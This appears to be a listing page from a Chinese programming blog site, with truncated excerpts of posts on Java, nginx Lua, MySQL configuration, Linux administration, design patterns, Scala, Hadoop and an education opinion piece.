    作为一个普通的程序员,我一直游走在java语言中,java也确实让我有了很多的体会.不过随着学习的深入,java语言的新技术产生的越来越多,从最初期的javase,我逐渐开始转变到ssh,ssi,这种主流的码农,.过了几天为了解决新问题,webservice的大旗也被我祭出来了,又过了些日子jms架构的activemq也开始必须学习了.再后来开始了一系列技术学习,osgi,restful.....
  • nginx lua开发经验总结 ronin47
    使用nginx lua已经两三个月了，项目接开发完毕了，这几天准备上线并且跟高德地图对接。回顾下来lua在项目中占得必中还是比较大的，跟PHP的占比差不多持平了，因此在开发中遇到一些问题备忘一下 1：content_by_lua中代码容量有限制，一般不要写太多代码，正常编写代码一般在100行左右（具体容量没有细心测哈哈，在4kb左右），如果超出了则重启nginx的时候会报 too long pa
  • java-66-用递归颠倒一个栈。例如输入栈{1,2,3,4,5}，1在栈顶。颠倒之后的栈为{5,4,3,2,1}，5处在栈顶 bylijinnan java
    import java.util.Stack; public class ReverseStackRecursive { /** * Q 66.颠倒栈。 * 题目：用递归颠倒一个栈。例如输入栈{1,2,3,4,5}，1在栈顶。 * 颠倒之后的栈为{5,4,3,2,1}，5处在栈顶。 *1. Pop the top element *2. Revers
  • 正确理解Linux内存占用过高的问题 cfyme linux
    Linux开机后，使用top命令查看，4G物理内存发现已使用的多大3.2G，占用率高达80%以上： Mem:   3889836k total,  3341868k used,   547968k free,   286044k buffers Swap:  6127608k total,&nb
  • [JWFD开源工作流]当前流程引擎设计的一个急需解决的问题 comsci 工作流
         当我们的流程引擎进入IRC阶段的时候，当循环反馈模型出现之后，每次循环都会导致一大堆节点内存数据残留在系统内存中，循环的次数越多，这些残留数据将导致系统内存溢出，并使得引擎崩溃。。。。。。       而解决办法就是利用汇编语言或者其它系统编程语言，在引擎运行时，把这些残留数据清除掉。
  • 自定义类的equals函数 dai_lm equals
    仅作笔记使用 public class VectorQueue { private final Vector<VectorItem> queue; private class VectorItem { private final Object item; private final int quantity; public VectorI
  • Linux下安装R语言 datageek R语言 linux
    命令如下：sudo gedit  /etc/apt/sources.list1、deb http://mirrors.ustc.edu.cn/CRAN/bin/linux/ubuntu/ precise/ 2、deb http://dk.archive.ubuntu.com/ubuntu hardy universesudo apt-key adv --keyserver ke
  • 如何修改mysql 并发数(连接数)最大值 dcj3sjt126com mysql
    MySQL的连接数最大值跟MySQL没关系，主要看系统和业务逻辑了   方法一：进入MYSQL安装目录 打开MYSQL配置文件 my.ini 或 my.cnf查找 max_connections=100 修改为 max_connections=1000 服务里重起MYSQL即可 　　方法二：MySQL的最大连接数默认是100客户端登录：mysql -uusername -ppass
  • 单一功能原则 dcj3sjt126com 面向对象的程序设计软件设计编程原则
    单一功能原则[ 编辑]     SOLID 原则 单一功能原则 开闭原则 Liskov代换原则 接口隔离原则 依赖反转原则 查   论   编 在面向对象编程领域中，单一功能原则（Single responsibility principle）规定每个类都应该有
  • POJO、VO和JavaBean区别和联系 fanmingxing VOPOJOjavabean
    POJO和JavaBean是我们常见的两个关键字，一般容易混淆，POJO全称是Plain Ordinary Java Object / Plain Old Java Object，中文可以翻译成：普通Java类，具有一部分getter/setter方法的那种类就可以称作POJO，但是JavaBean则比POJO复杂很多，JavaBean是一种组件技术，就好像你做了一个扳子，而这个扳子会在很多地方被
  • SpringSecurity3.X--LDAP：AD配置 hanqunfeng SpringSecurity
    前面介绍过基于本地数据库验证的方式，参考http://hanqunfeng.iteye.com/blog/1155226，这里说一下如何修改为使用AD进行身份验证【只对用户名和密码进行验证，权限依旧存储在本地数据库中】。   将配置文件中的如下部分删除： <!-- 认证管理器，使用自定义的UserDetailsService，并对密码采用md5加密-->
  • mac mysql 修改密码 IXHONG mysql
    $ sudo /usr/local/mysql/bin/mysqld_safe –user=root & //启动MySQL(也可以通过偏好设置面板来启动)$ sudo /usr/local/mysql/bin/mysqladmin -uroot password yourpassword //设置MySQL密码（注意，这是第一次MySQL密码为空的时候的设置命令，如果是修改密码，还需在-
  • 设计模式--抽象工厂模式 kerryg 设计模式
    抽象工厂模式：     工厂模式有一个问题就是，类的创建依赖于工厂类，也就是说，如果想要拓展程序，必须对工厂类进行修改，这违背了闭包原则。我们采用抽象工厂模式，创建多个工厂类，这样一旦需要增加新的功能，直接增加新的工厂类就可以了，不需要修改之前的代码。     总结：这个模式的好处就是，如果想增加一个功能，就需要做一个实现类，
  • 评"高中女生军训期跳楼” nannan408
       首先，先抛出我的观点，各位看官少点砖头。那就是，中国的差异化教育必须做起来。    孔圣人有云：有教无类。不同类型的人，都应该有对应的教育方法。目前中国的一体化教育，不知道已经扼杀了多少创造性人才。我们出不了爱迪生，出不了爱因斯坦，很大原因，是我们的培养思路错了，我们是第一要“顺从”。如果不顺从，我们的学校，就会用各种方法，罚站，罚写作业，各种罚。军
  • scala如何读取和写入文件内容？ qindongliang1922 javajvmscala
    直接看如下代码： package file import java.io.RandomAccessFile import java.nio.charset.Charset import scala.io.Source import scala.reflect.io.{File, Path} /** * Created by qindongliang on 2015/
  • C语言算法之百元买百鸡 qiufeihu c算法
    中国古代数学家张丘建在他的《算经》中提出了一个著名的“百钱买百鸡问题”，鸡翁一，值钱五，鸡母一，值钱三，鸡雏三，值钱一，百钱买百鸡，问翁，母，雏各几何？ 代码如下： #include <stdio.h> int main() { int cock,hen,chick; /*定义变量为基本整型*/ for(coc
  • Hadoop集群安全性：Hadoop中Namenode单点故障的解决方案及详细介绍AvatarNode wyz2009107220 NameNode
    正如大家所知，NameNode在Hadoop系统中存在单点故障问题，这个对于标榜高可用性的Hadoop来说一直是个软肋。本文讨论一下为了解决这个问题而存在的几个solution。 1. Secondary NameNode 原理：Secondary NN会定期的从NN中读取editlog，与自己存储的Image进行合并形成新的metadata image 优点：Hadoop较早的版本都自带，
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他